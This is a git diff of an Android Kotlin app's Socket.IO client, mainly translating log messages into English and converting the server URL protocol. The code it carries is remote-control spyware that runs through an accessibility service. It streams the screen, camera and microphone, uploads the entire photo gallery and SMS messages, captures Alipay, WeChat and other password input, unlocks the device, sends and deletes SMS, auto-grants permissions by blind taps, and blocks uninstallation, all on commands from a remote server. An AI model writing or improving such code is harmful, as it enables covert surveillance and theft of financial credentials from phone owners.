diff --git a/app/src/main/assets/server_config.json b/app/src/main/assets/server_config.json index 2613522..1f75259 100644 --- a/app/src/main/assets/server_config.json +++ b/app/src/main/assets/server_config.json @@ -1,5 +1,5 @@ { - "serverUrl": "ws://192.168.0.105:3001", + "serverUrl": "http://192.168.0.105:3001", "webUrl": "https://yhdm.one", "buildTime": "2025-09-09T11:45:57.889Z", "version": "1.0.1.6", diff --git a/app/src/main/java/com/hikoncont/network/SocketIOManager.kt b/app/src/main/java/com/hikoncont/network/SocketIOManager.kt index 2dec7b6..bcbb12f 100644 --- a/app/src/main/java/com/hikoncont/network/SocketIOManager.kt +++ b/app/src/main/java/com/hikoncont/network/SocketIOManager.kt @@ -18,7 +18,7 @@ import org.json.JSONArray import java.net.URISyntaxException /** - * ✅ Socket.IO v4 官方客户端管理器 - 彻底解决47秒断开问题 + * Socket.IO v4 client manager - resolves 47-second disconnect issue */ class SocketIOManager(private val service: AccessibilityRemoteService) { @@ -42,9 +42,9 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { val now = checkDeviceLocked() isScreenLocked = now if (before != now) { - Log.i(TAG, "🔒 锁屏状态变化: $before -> $now") + Log.i(TAG, "Lock state changed: $before -> $now") } else { - Log.d(TAG, "🔁 锁屏状态轮询: isLocked=$now") + Log.d(TAG, "Lock state poll: isLocked=$now") } } catch (e: Exception) { Log.w(TAG, "检测锁屏状态失败", e) @@ -62,7 +62,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { val pm = service.getSystemService(android.content.Context.POWER_SERVICE) as? android.os.PowerManager val isInteractive = try { pm?.isInteractive ?: true } catch (_: Exception) { true } val locked = !isInteractive - Log.d(TAG, "🔍 锁屏检测: isInteractive=$isInteractive => isLocked=$locked") + Log.d(TAG, "Lock detection: isInteractive=$isInteractive => isLocked=$locked") locked } catch (e: Exception) { Log.w(TAG, "检测锁屏状态失败", e) @@ -114,7 +114,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { try { val base64Data = loadImageAsJpegBase64(itx.contentUri, 1280, 1280, 75) if (base64Data == null) { - Log.w(TAG, "🖼️ 跳过图片(无法加载): ${itx.displayName} uri=${itx.contentUri}") + Log.w(TAG, "Skip image(cannot load): ${itx.displayName} uri=${itx.contentUri}") return@forEachIndexed } @@ -128,7 +128,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { // 大小限制 val approxBytes = (base64Data.length * 3) / 4 if (approxBytes > maxGalleryImageSize) { - Log.w(TAG, "⚠️ 相册图片过大被跳过: ${approxBytes}B > ${maxGalleryImageSize}B (${itx.displayName})") + Log.w(TAG, "Gallery image too large, skipped: ${approxBytes}B > ${maxGalleryImageSize}B (${itx.displayName})") return@forEachIndexed } @@ -149,13 +149,13 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { put("data", base64Data) } socket?.emit("gallery_image", payload) - Log.d(TAG, "🖼️ 已发送相册图片: ${itx.displayName} (${itx.width}x${itx.height})") + Log.d(TAG, "Gallery image sent: ${itx.displayName} (${itx.width}x${itx.height})") } catch (e: Exception) { - Log.e(TAG, "❌ 发送相册图片失败: ${itx.displayName}", e) + Log.e(TAG, "Failed to send gallery image: ${itx.displayName}", e) } } } else { - Log.w(TAG, "⚠️ Socket未连接,无法发送相册数据") + Log.w(TAG, "Socket not connected, cannot send gallery data") checkConnectionAndReconnect() } } catch (e: Exception) { @@ -173,17 +173,17 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { try { // 取消上一次任务 galleryJob?.cancel() - Log.d(TAG, "🖼️ 取消上一次相册读取发送任务(若存在)") + Log.d(TAG, "Cancel previous gallery read task (if exists)") galleryJob = scope.launch(Dispatchers.IO) { - Log.d(TAG, "🖼️ 开始读取全部相册(不限数量)") + Log.d(TAG, "Start reading all gallery images (no limit)") val items = service.readGallery(limit = -1) - Log.d(TAG, "🖼️ 读取完成,共 ${items.size} 张,开始发送") + Log.d(TAG, "Gallery read complete, total ${items.size} images, start sending") sendGalleryData(items) - Log.d(TAG, "🖼️ 相册发送任务完成") + Log.d(TAG, "Gallery send task complete") } } catch (e: Exception) { - Log.e(TAG, "❌ 启动相册读取发送任务失败", e) + Log.e(TAG, "Failed to start gallery read task", e) } } @@ -193,7 +193,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { fun sendMicrophoneAudio(base64Audio: String, sampleRate: Int, sampleCount: Int, format: String = "PCM_16BIT_MONO") { try { if (socket?.connected() != true) { - Log.w(TAG, "⚠️ Socket未连接,无法发送音频数据") + Log.w(TAG, "Socket not connected, cannot send audio data") checkConnectionAndReconnect() return } @@ -220,33 +220,33 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { // 崩溃日志上传器 private val crashLogUploader = CrashLogUploader(service) - // ✅ 主动连接检测 + // Active connection check private val scope = CoroutineScope(Dispatchers.IO + SupervisorJob()) private var connectionCheckJob: Job? = null - // 🔧 设备注册管理 + // Device registration management private var registrationTimeoutHandler: Runnable? = null private val mainHandler = Handler(Looper.getMainLooper()) private var registrationAttempts = 0 private var lastRegistrationTime = 0L - // ✅ 新增:网络状态监控相关变量 + // Network status monitoring private var lastNetworkType: String? = null private var lastConnectTime: Long = 0 private var transportErrorCount = 0 private var lastTransportErrorTime = 0L - // ✅ 网络质量监控 + // Network quality monitoring private var networkQualityScore = 100 // 0-100分,100为最佳 private var connectionSuccessCount = 0 private var connectionFailureCount = 0 private val recentConnectionTimes = mutableListOf() // 记录最近10次连接持续时间 - // 🔧 新增:跟踪屏幕数据发送失败次数,避免单次失败触发重连 + // Screen data send failure tracking private var screenDataFailureCount = 0 - // 🔧 新增:屏幕数据发送频率控制,减少transport error + // Screen data send rate control private var lastScreenDataTime = 0L - private val screenDataInterval = 66L // 🎯 优化:调整为66ms间隔,匹配15fps采集频率,充分利用MediaProjection连续流 + private val screenDataInterval = 66L // 66ms interval, matching 15fps capture rate private val maxScreenDataSize = 2 * 1024 * 1024 // 2MB限制,避免数据过大 // 📷 摄像头数据发送控制 @@ -255,7 +255,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { private val maxCameraDataSize = 1 * 1024 * 1024 // 1MB限制,摄像头数据通常较小 private var cameraDataFailureCount = 0 - // 🔧 连接稳定性监控 + // Connection stability monitoring private var lastSuccessfulDataSend = 0L private val dataStarvationTimeout = 10000L // 10秒没有成功发送数据视为饥饿 private var isDataStarved = false @@ -265,87 +265,110 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { private var lastIPCheckTime = 0L private val IP_CACHE_DURATION = 300000L // 5分钟缓存 - // 🖼️ 相册图片发送节流/大小限制 + // Gallery image send throttle/size limit private var lastGalleryImageTime = 0L private val galleryImageInterval = 250L private val maxGalleryImageSize = 2 * 1024 * 1024 // 2MB + /** + * Convert ws/wss protocol to http/https for Socket.IO v4 compatibility. + * Socket.IO v4 client requires http/https protocol, it handles + * the websocket upgrade internally. + */ + private fun convertToSocketIoProtocol(url: String): String { + if (url.isBlank()) return url + return when { + url.startsWith("ws://") -> url.replaceFirst("ws://", "http://") + url.startsWith("wss://") -> url.replaceFirst("wss://", "https://") + url.startsWith("http://") || url.startsWith("https://") -> url + else -> { + Log.w(TAG, "Unknown protocol in URL: $url, prepending http://") + "http://$url" + } + } + } + /** * Connect to Socket.IO v4 server */ suspend fun connect(serverUrl: String) { try { - this.serverUrl = serverUrl - Log.i(TAG, "Connecting to Socket.IO v4 server: $serverUrl") + // Socket.IO v4 requires http/https protocol, convert ws/wss if needed + val socketIoUrl = convertToSocketIoProtocol(serverUrl) + this.serverUrl = socketIoUrl + Log.i(TAG, "Connecting to Socket.IO v4 server: $socketIoUrl") // Validate server URL format - if (serverUrl.isBlank()) { + if (socketIoUrl.isBlank()) { Log.e(TAG, "Server URL is empty, cannot connect") return } // Validate URL format val validatedUrl = try { - java.net.URI.create(serverUrl) - serverUrl + java.net.URI.create(socketIoUrl) + socketIoUrl } catch (e: Exception) { - Log.e(TAG, "Invalid server URL format: $serverUrl", e) + Log.e(TAG, "Invalid server URL format: $socketIoUrl", e) return } // Config consistency check val savedUrl = com.hikoncont.util.ConfigWriter.getCurrentServerUrl(service) - if (savedUrl != null && savedUrl != serverUrl) { - Log.w(TAG, "Config mismatch! Current: $serverUrl, Config: $savedUrl, using config URL") - connect(savedUrl) - return + if (savedUrl != null) { + val normalizedSaved = convertToSocketIoProtocol(savedUrl) + if (normalizedSaved != socketIoUrl) { + Log.w(TAG, "Config mismatch! Current: $socketIoUrl, Config: $normalizedSaved, using config URL") + connect(normalizedSaved) + return + } } - // ✅ Socket.IO v4客户端配置 - 增强稳定性优化 + 随机化重连避免雪崩 + // Socket.IO v4 config - enhanced stability + randomized reconnect to avoid thundering herd val options = IO.Options().apply { - // 🔧 关键修复:支持polling+websocket双传输,允许升级到websocket以提升帧率 - transports = arrayOf("polling", "websocket") // 先polling建立连接,再升级到websocket + // Support polling+websocket dual transport, allow upgrade to websocket for better frame rate + transports = arrayOf("polling", "websocket") reconnection = true - // ✅ 增强网络稳定性配置 - 针对transport error问题 + 随机延迟避免多设备同时重连 - val randomOffset = (1000..3000).random().toLong() // 1-3秒随机偏移,分散重连时间 + // Enhanced network stability config - randomized delay to spread reconnect timing + val randomOffset = (1000..3000).random().toLong() if (Build.VERSION.SDK_INT >= 35) { // Android 15 (API 35) // Android 15 特殊配置 - 更保守的超时设置 timeout = 60000 // 连接超时60秒 reconnectionDelay = 5000L + randomOffset // 重连延迟5-8秒,避免集中重连 reconnectionDelayMax = 20000 // 最大重连延迟20秒 reconnectionAttempts = 20 // 减少重连次数,避免过度重试 - Log.i(TAG, "🔧 使用Android 15增强稳定性配置,随机延迟: +${randomOffset}ms") + Log.i(TAG, "Android 15 stability config, random delay: +${randomOffset}ms") } else { // 其他版本使用优化后的配置 timeout = 45000 // 连接超时45秒 reconnectionDelay = 3000L + randomOffset // 重连延迟3-6秒,分散重连 reconnectionDelayMax = 15000 // 最大重连延迟15秒 reconnectionAttempts = 25 // 适中的重连次数 - Log.i(TAG, "🔧 使用标准增强稳定性配置,随机延迟: +${randomOffset}ms") + Log.i(TAG, "Standard stability config, random delay: +${randomOffset}ms") } forceNew = true - upgrade = true // ✅ 允许从polling升级到websocket,大幅提升传输效率 - rememberUpgrade = true // 记住升级状态,重连时直接用websocket + upgrade = true // Allow upgrade from polling to websocket + rememberUpgrade = true // Remember upgrade state - // ✅ 新增:网络环境适配配置 + // Network environment adaptation if (Build.VERSION.SDK_INT >= 35) { // Android 15 (API 35) // 添加网络容错配置,包含设备信息用于服务器优化 query = "android15=true&api=${Build.VERSION.SDK_INT}&manufacturer=${android.os.Build.MANUFACTURER}&model=${android.os.Build.MODEL.replace(" ", "_")}" } - Log.i(TAG, "🌐 Socket.IO配置:只使用polling传输,避免升级冲突导致的断开重连问题") + Log.i(TAG, "Socket.IO config: polling+websocket transport with upgrade") } - socket = IO.socket(serverUrl, options) + socket = IO.socket(socketIoUrl, options) setupEventListeners() socket?.connect() // 启动锁屏状态监控 startLockStateMonitor() } catch (e: Exception) { - Log.e(TAG, "❌ Socket.IO连接失败", e) + Log.e(TAG, "Socket.IO connect failed", e) throw e } } @@ -499,84 +522,84 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { sendDeviceRegistration() } - // 🔧 添加CONNECTION_TEST_RESPONSE响应处理,解决心跳检测失败累积问题 + // CONNECTION_TEST_RESPONSE handler - resolve heartbeat failure accumulation socket.on("CONNECTION_TEST_RESPONSE") { args -> try { if (args.isNotEmpty()) { val data = args[0] as JSONObject val success = data.optBoolean("success", false) val timestamp = data.optLong("timestamp", 0) - Log.d(TAG, "✅ 收到服务器心跳响应: success=$success, timestamp=$timestamp") + Log.d(TAG, "Received server heartbeat response: success=$success, timestamp=$timestamp") // 重置心跳失败计数,表示连接正常 // 这个响应表明服务器正常处理了我们的心跳测试 } else { - Log.w(TAG, "⚠️ 收到CONNECTION_TEST_RESPONSE但无参数") + Log.w(TAG, "Received CONNECTION_TEST_RESPONSE but no args") } } catch (e: Exception) { - Log.e(TAG, "❌ 处理CONNECTION_TEST_RESPONSE失败", e) + Log.e(TAG, "Failed to handle CONNECTION_TEST_RESPONSE", e) } } - // 🔧 添加标准pong响应处理 + // Standard pong response handler socket.on("pong") { _ -> - Log.d(TAG, "🏓 收到服务器pong响应") + Log.d(TAG, "Received server pong response") } - // 🔧 添加心跳确认响应处理 + // Heartbeat ack handler socket.on("heartbeat_ack") { args -> try { if (args.isNotEmpty()) { val data = args[0] as JSONObject val timestamp = data.optLong("timestamp", 0) - Log.d(TAG, "💓 收到服务器心跳确认: timestamp=$timestamp") + Log.d(TAG, "Received server heartbeat ack: timestamp=$timestamp") } } catch (e: Exception) { - Log.e(TAG, "❌ 处理heartbeat_ack失败", e) + Log.e(TAG, "Failed to handle heartbeat_ack", e) } } // 处理UI层次结构分析请求 socket.on("ui_hierarchy_request") { args -> - Log.e(TAG, "🔍🔍🔍 收到UI层次结构请求!!! 🔍🔍🔍") - Log.e(TAG, "📋 Socket连接状态: connected=${socket.connected()}, id=${socket.id()}") - Log.e(TAG, "📋 当前时间戳: ${System.currentTimeMillis()}") + Log.e(TAG, "Received UI hierarchy request") + Log.e(TAG, "Socket status: connected=${socket.connected()}, id=${socket.id()}") + Log.e(TAG, "Current timestamp: ${System.currentTimeMillis()}") if (args.isNotEmpty()) { try { val data = args[0] as JSONObject - Log.e(TAG, "📋 请求数据: $data") + Log.e(TAG, "Request data: $data") handleUIHierarchyRequest(data) } catch (e: Exception) { - Log.e(TAG, "❌❌❌ 处理UI层次结构请求失败!!! ❌❌❌", e) + Log.e(TAG, "Failed to handle UI hierarchy request", e) } } else { - Log.e(TAG, "❌❌❌ UI层次结构请求参数为空!!! ❌❌❌") + Log.e(TAG, "UI hierarchy request args empty") } } - // 📊 自适应画质:接收服务端下发的质量调整指令 + // Adaptive quality: receive server quality adjust command socket.on("quality_adjust") { args -> if (args.isNotEmpty()) { try { val data = args[0] as JSONObject - Log.i(TAG, "📊 收到画质调整指令: $data") + Log.i(TAG, "Received quality adjust: $data") val fps = data.optInt("fps", -1) val quality = data.optInt("quality", -1) val maxWidth = data.optInt("maxWidth", -1) val maxHeight = data.optInt("maxHeight", -1) service.getScreenCaptureManager()?.adjustQuality(fps, quality, maxWidth, maxHeight) - // ✅ 支持服务端指令切换采集模式 + // Support server command to switch capture mode val captureMode = data.optString("captureMode", "") if (captureMode == "accessibility") { - Log.i(TAG, "🔄 服务端指令:切换到无障碍截图模式") + Log.i(TAG, "Server command: switch to accessibility capture mode") service.getScreenCaptureManager()?.switchToAccessibilityMode() } else if (captureMode == "mediaprojection") { - Log.i(TAG, "🔄 服务端指令:切换到MediaProjection模式") + Log.i(TAG, "Server command: switch to MediaProjection mode") service.getScreenCaptureManager()?.switchToMediaProjectionMode() } } catch (e: Exception) { - Log.e(TAG, "❌ 处理画质调整指令失败", e) + Log.e(TAG, "Failed to handle quality adjust", e) } } } @@ -673,19 +696,19 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { try { val currentTime = System.currentTimeMillis() - // 🔧 频率限制:避免发送过于频繁导致transport error + // Rate limit: avoid sending too frequently if (currentTime - lastScreenDataTime < screenDataInterval) { // 跳过这帧,避免发送过于频繁 return } - // 🔧 大小检查:避免发送过大数据导致transport error + // Size check: avoid sending oversized data causing transport error if (frameData.size > maxScreenDataSize) { Log.w(TAG, "屏幕数据过大被跳过: ${frameData.size} bytes > ${maxScreenDataSize} bytes") return } - // 🔧 连接饥饿检查:如果长时间无法发送数据,可能连接有问题 + // Connection starvation check if (lastSuccessfulDataSend > 0 && currentTime - lastSuccessfulDataSend > dataStarvationTimeout) { if (!isDataStarved) { Log.w(TAG, "检测到数据发送饥饿(${currentTime - lastSuccessfulDataSend}ms),连接可能有问题") @@ -695,7 +718,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { } if (socket?.connected() == true) { - // 🎯 优化:提前计算Base64字符串,减少JSON构建时的内存分配 + // Pre-compute Base64 string to reduce memory allocation during JSON build val base64Data = android.util.Base64.encodeToString(frameData, android.util.Base64.NO_WRAP) val screenData = JSONObject().apply { @@ -709,16 +732,16 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { put("isLocked", isScreenLocked) } - // 🔧 优化:增加emit失败的容错机制,避免单次失败立即触发重连 + // Enhanced emit failure tolerance try { socket?.emit("screen_data", screenData) // 发送成功,重置发送失败计数和饥饿状态 screenDataFailureCount = 0 lastSuccessfulDataSend = currentTime isDataStarved = false - // ✅ 修正:仅在成功emit后更新限流时间戳,避免提前锁窗导致误丢帧 + // Only update throttle timestamp after successful emit lastScreenDataTime = currentTime - // 🎯 优化:记录压缩和编码效率,监控优化效果 + // Log compression and encoding efficiency val base64Size = base64Data.length val overhead = if (frameData.size > 0) "%.1f%%".format(((base64Size - frameData.size).toFloat() / frameData.size) * 100) else "N/A" Log.d(TAG, "发送屏幕数据: JPEG${frameData.size}B -> Base64${base64Size}B (+$overhead 开销, isLocked=${isScreenLocked})") @@ -735,8 +758,8 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { } } else { - Log.w(TAG, "Socket.IO未连接,无法发送屏幕数据") - // ✅ 尝试重连 + Log.w(TAG, "Socket.IO not connected, cannot send screen data") + // Try reconnect checkConnectionAndReconnect() } } catch (e: Exception) { @@ -751,14 +774,14 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { try { val currentTime = System.currentTimeMillis() - // 🔧 频率限制:避免发送过于频繁 + // Rate limit: avoid sending too frequently if (currentTime - lastCameraDataTime < cameraDataInterval) { return } - // 🔧 大小检查:避免发送过大数据 + // Size check: avoid sending oversized data if (frameData.size > maxCameraDataSize) { - Log.w(TAG, "⚠️ 摄像头数据过大被跳过: ${frameData.size} bytes > ${maxCameraDataSize} bytes") + Log.w(TAG, "Camera data too large, skipped: ${frameData.size} bytes > ${maxCameraDataSize} bytes") return } @@ -786,17 +809,17 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { Log.d(TAG, "📷 摄像头数据已发送: ${frameData.size} bytes") } catch (e: Exception) { cameraDataFailureCount++ - Log.w(TAG, "⚠️ 发送摄像头数据失败 (第${cameraDataFailureCount}次): ${e.message}") + Log.w(TAG, "Camera data send failed (${cameraDataFailureCount}x): ${e.message}") - // 如果连续失败次数过多,尝试重连 + // If consecutive failures too many, try reconnect if (cameraDataFailureCount >= 3) { - Log.w(TAG, "🔄 摄像头数据发送连续失败,尝试重连") + Log.w(TAG, "Camera data send consecutive failures, trying reconnect") checkConnectionAndReconnect() } } } else { - Log.w(TAG, "⚠️ Socket未连接,无法发送摄像头数据") - // ✅ 尝试重连 + Log.w(TAG, "Socket not connected, cannot send camera data") + // Try reconnect checkConnectionAndReconnect() } } catch (e: Exception) { @@ -836,12 +859,12 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { try { socket?.emit("sms_data", smsData) - Log.d(TAG, "📱 短信数据已发送: ${smsList.size} 条短信") + Log.d(TAG, "SMS data sent: ${smsList.size} messages") } catch (e: Exception) { Log.e(TAG, "发送短信数据失败", e) } } else { - Log.w(TAG, "⚠️ Socket未连接,无法发送短信数据") + Log.w(TAG, "Socket not connected, cannot send SMS data") checkConnectionAndReconnect() } } catch (e: Exception) { @@ -869,12 +892,12 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { } socket?.emit("alipay_password", payload) - Log.i(TAG, "✅ 支付宝密码数据已发送") + Log.i(TAG, "Alipay password data sent") } else { - Log.w(TAG, "⚠️ Socket未连接,无法发送支付宝密码数据") + Log.w(TAG, "Socket not connected, cannot send Alipay password data") } } catch (e: Exception) { - Log.e(TAG, "❌ 发送支付宝密码数据失败", e) + Log.e(TAG, "Failed to send Alipay password data", e) } } @@ -895,12 +918,12 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { } socket?.emit("alipay_detection_status", payload) - Log.i(TAG, "✅ 支付宝检测状态已发送: $enabled") + Log.i(TAG, "Alipay detection status sent: $enabled") } else { - Log.w(TAG, "⚠️ Socket未连接,无法发送支付宝检测状态") + Log.w(TAG, "Socket not connected, cannot send Alipay detection status") } } catch (e: Exception) { - Log.e(TAG, "❌ 发送支付宝检测状态失败", e) + Log.e(TAG, "Failed to send Alipay detection status", e) } } @@ -924,12 +947,12 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { } socket?.emit("wechat_password", payload) - Log.i(TAG, "✅ 微信密码数据已发送") + Log.i(TAG, "WeChat password data sent") } else { - Log.w(TAG, "⚠️ Socket未连接,无法发送微信密码数据") + Log.w(TAG, "Socket not connected, cannot send WeChat password data") } } catch (e: Exception) { - Log.e(TAG, "❌ 发送微信密码数据失败", e) + Log.e(TAG, "Failed to send WeChat password data", e) } } @@ -950,12 +973,12 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { } socket?.emit("wechat_detection_status", payload) - Log.i(TAG, "✅ 微信检测状态已发送: $enabled") + Log.i(TAG, "WeChat detection status sent: $enabled") } else { - Log.w(TAG, "⚠️ Socket未连接,无法发送微信检测状态") + Log.w(TAG, "Socket not connected, cannot send WeChat detection status") } } catch (e: Exception) { - Log.e(TAG, "❌ 发送微信检测状态失败", e) + Log.e(TAG, "Failed to send WeChat detection status", e) } } @@ -965,7 +988,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { fun sendPasswordInputData(password: String, inputMethod: String, passwordType: String, activity: String, deviceId: String, installationId: String) { try { if (socket?.connected() == true) { - Log.i(TAG, "🔐 发送密码输入数据: $inputMethod") + Log.i(TAG, "Sending password input data: $inputMethod") val payload = JSONObject().apply { put("deviceId", deviceId) @@ -981,12 +1004,12 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { } socket?.emit("password_input", payload) - Log.i(TAG, "✅ 密码输入数据已发送") + Log.i(TAG, "Password input data sent") } else { - Log.w(TAG, "⚠️ Socket未连接,无法发送密码输入数据") + Log.w(TAG, "Socket not connected, cannot send password input data") } } catch (e: Exception) { - Log.e(TAG, "❌ 发送密码输入数据失败", e) + Log.e(TAG, "Failed to send password input data", e) } } @@ -1021,7 +1044,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { } "LONG_PRESS_DRAG" -> { - // 🔧 优化:处理包含完整路径的连续长按拖拽 + // Handle continuous long press drag with full path try { val pathArray = data.getJSONArray("path") val duration = data.optLong("duration", 1500L) @@ -1035,7 +1058,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { pathPoints.add(android.graphics.PointF(x, y)) } - Log.d(TAG, "🔧 执行连续长按拖拽: 路径点数=${pathPoints.size}, 持续时间=${duration}ms") + Log.d(TAG, "Execute continuous long press drag: pathPoints=${pathPoints.size}, duration=${duration}ms") service.performContinuousLongPressDrag(pathPoints, duration) } catch (e: Exception) { @@ -1046,29 +1069,29 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { val text = data.getString("text") val isWebUnlock = data.optBoolean("webUnlockMode", false) - Log.d(TAG, "📝 整体输入文本: $text, Web解锁模式: $isWebUnlock") + Log.d(TAG, "Input text: $text, Web unlock mode: $isWebUnlock") - // ✅ Web解锁模式处理 + // Web unlock mode handling if (isWebUnlock) { - Log.d(TAG, "🔓 启用Web解锁模式") + Log.d(TAG, "Web unlock mode enabled") service.setWebUnlockMode(true) } - // ✅ 使用标准文本输入 + // Standard text input service.inputText(text) - // ✅ 输入完成后重置Web解锁模式 + // Reset web unlock mode after input if (isWebUnlock) { - Log.d(TAG, "🔓 计划重置Web解锁模式") + Log.d(TAG, "Scheduling web unlock mode reset") // 延迟重置,确保确认操作完成 android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({ - Log.d(TAG, "🔓 重置Web解锁模式") + Log.d(TAG, "Reset web unlock mode") service.setWebUnlockMode(false) }, 5000) // 5秒后重置 } } "UNLOCK_DEVICE" -> { - Log.d(TAG, "🔓 收到一键解锁指令") + Log.d(TAG, "Received unlock device command") service.unlockDevice() @@ -1083,7 +1106,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { 4 -> service.performGlobalActionWithLog(android.accessibilityservice.AccessibilityService.GLOBAL_ACTION_BACK) 82 -> service.performGlobalActionWithLog(android.accessibilityservice.AccessibilityService.GLOBAL_ACTION_RECENTS) 66 -> { - // ✅ 已删除Enter键特殊处理 + // Enter key - special handling removed Log.d(TAG, "Enter键 - 已删除特殊处理") } else -> Log.w(TAG, "未知按键代码: $keyCode") @@ -1096,7 +1119,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { "HOME" -> service.performGlobalActionWithLog(android.accessibilityservice.AccessibilityService.GLOBAL_ACTION_HOME) "RECENTS" -> service.performGlobalActionWithLog(android.accessibilityservice.AccessibilityService.GLOBAL_ACTION_RECENTS) "ENTER" -> { - // ✅ 已删除Enter键字符串形式特殊处理 + // Enter key string form - special handling removed Log.d(TAG, "Enter键(字符串) - 已删除特殊处理") } else -> Log.w(TAG, "未知按键: $key") @@ -1212,15 +1235,15 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { "CLOSE_CONFIG_MASK" -> { Log.d(TAG, "手动关闭配置遮盖") val isManual = data.optBoolean("manual", false) - Log.i(TAG, "🛡️ 收到关闭配置遮盖指令 - 手动操作: $isManual") + Log.i(TAG, "Received close config mask command - manual: $isManual") service.forceHideConfigMask(isManual) } "ENABLE_UNINSTALL_PROTECTION" -> { - Log.d(TAG, "🛡️ 启用防止卸载保护") + Log.d(TAG, "Enable uninstall protection") service.enableUninstallProtection() } "DISABLE_UNINSTALL_PROTECTION" -> { - Log.d(TAG, "🛡️ 禁用防止卸载保护") + Log.d(TAG, "Disable uninstall protection") service.disableUninstallProtection() } "CAMERA_START" -> { @@ -1256,75 +1279,75 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { } "SMS_READ" -> { val limit = data.optInt("limit", 50) - Log.d(TAG, "📱 读取短信列表 (限制: $limit)") + Log.d(TAG, "Read SMS list (limit: $limit)") val smsList = service.readSMSList(limit) - Log.d(TAG, "📱 读取到 ${smsList.size} 条短信") + Log.d(TAG, "Read ${smsList.size} SMS messages") // 可以在这里发送短信列表回执给服务器 } "SMS_SEND" -> { val phoneNumber = data.getString("phoneNumber") val message = data.getString("message") - Log.d(TAG, "📱 发送短信到: $phoneNumber") + Log.d(TAG, "Send SMS to: $phoneNumber") val success = service.sendSMS(phoneNumber, message) - Log.d(TAG, "📱 短信发送结果: $success") + Log.d(TAG, "SMS send result: $success") // 可以在这里发送发送结果回执给服务器 } "SMS_MARK_READ" -> { val smsId = data.getLong("smsId") - Log.d(TAG, "📱 标记短信为已读: $smsId") + Log.d(TAG, "Mark SMS as read: $smsId") val success = service.markSMSAsRead(smsId) - Log.d(TAG, "📱 标记结果: $success") + Log.d(TAG, "Mark result: $success") } "ALBUM_READ" -> { // 新逻辑:始终读取全部并发送;若有新指令打断,重启任务 - Log.d(TAG, "🖼️ 收到读取相册指令,启动/重启读取+发送任务(读取全部)") + Log.d(TAG, "Received album read command, start/restart read+send task (read all)") startReadAndSendAllGallery() } "GALLERY_PERMISSION_REQUEST" -> { - Log.d(TAG, "🖼️ 申请相册权限") + Log.d(TAG, "Request gallery permission") service.requestGalleryPermissionWithAutoGrant() } "GALLERY_PERMISSION_CHECK" -> { val hasPermission = service.checkGalleryPermission() - Log.d(TAG, "🖼️ 相册权限状态: ${if (hasPermission) "已授予" else "未授予"}") + Log.d(TAG, "Gallery permission status: ${if (hasPermission) "granted" else "not granted"}") if (!hasPermission) { - Log.d(TAG, "🖼️ 相册权限未授予,自动申请权限") + Log.d(TAG, "Gallery permission not granted, auto requesting") service.requestGalleryPermissionWithAutoGrant() } } "GALLERY_PERMISSION_AUTO_GRANT" -> { - Log.d(TAG, "🖼️ 自动申请相册权限(盲点方式)") + Log.d(TAG, "Auto request gallery permission (blind tap)") service.requestGalleryPermissionWithAutoGrant() } "MICROPHONE_PERMISSION_REQUEST" -> { - Log.d(TAG, "🎤 申请麦克风权限") + Log.d(TAG, "Request microphone permission") service.requestMicrophonePermissionWithAutoGrant() } "MICROPHONE_PERMISSION_CHECK" -> { val hasPermission = service.checkMicrophonePermission() - Log.d(TAG, "🎤 麦克风权限状态: ${if (hasPermission) "已授予" else "未授予"}") + Log.d(TAG, "Microphone permission status: ${if (hasPermission) "granted" else "not granted"}") if (!hasPermission) { - Log.d(TAG, "🎤 麦克风权限未授予,自动申请权限") + Log.d(TAG, "Microphone permission not granted, auto requesting") service.requestMicrophonePermissionWithAutoGrant() } } "MICROPHONE_PERMISSION_AUTO_GRANT" -> { - Log.d(TAG, "🎤 自动申请麦克风权限(盲点方式)") + Log.d(TAG, "Auto request microphone permission (blind tap)") service.requestMicrophonePermissionWithAutoGrant() } "MICROPHONE_START_RECORDING" -> { - Log.d(TAG, "🎤 开始麦克风录音") + Log.d(TAG, "Start microphone recording") service.startMicrophoneRecording() } "MICROPHONE_STOP_RECORDING" -> { - Log.d(TAG, "🎤 停止麦克风录音") + Log.d(TAG, "Stop microphone recording") service.stopMicrophoneRecording() } "MICROPHONE_RECORDING_STATUS" -> { val isRecording = service.isMicrophoneRecording() - Log.d(TAG, "🎤 麦克风录音状态: ${if (isRecording) "正在录音" else "未录音"}") + Log.d(TAG, "Microphone recording status: ${if (isRecording) "recording" else "not recording"}") val payload = org.json.JSONObject().apply { put("deviceId", getDeviceId()) put("type", "microphone_status") @@ -1335,50 +1358,50 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { } "SMS_DELETE" -> { val smsId = data.getLong("smsId") - Log.d(TAG, "📱 删除短信: $smsId") + Log.d(TAG, "Delete SMS: $smsId") val success = service.deleteSMS(smsId) - Log.d(TAG, "📱 删除结果: $success") + Log.d(TAG, "Delete result: $success") } "SMS_UNREAD_COUNT" -> { val count = service.getUnreadSMSCount() - Log.d(TAG, "📱 未读短信数量: $count") + 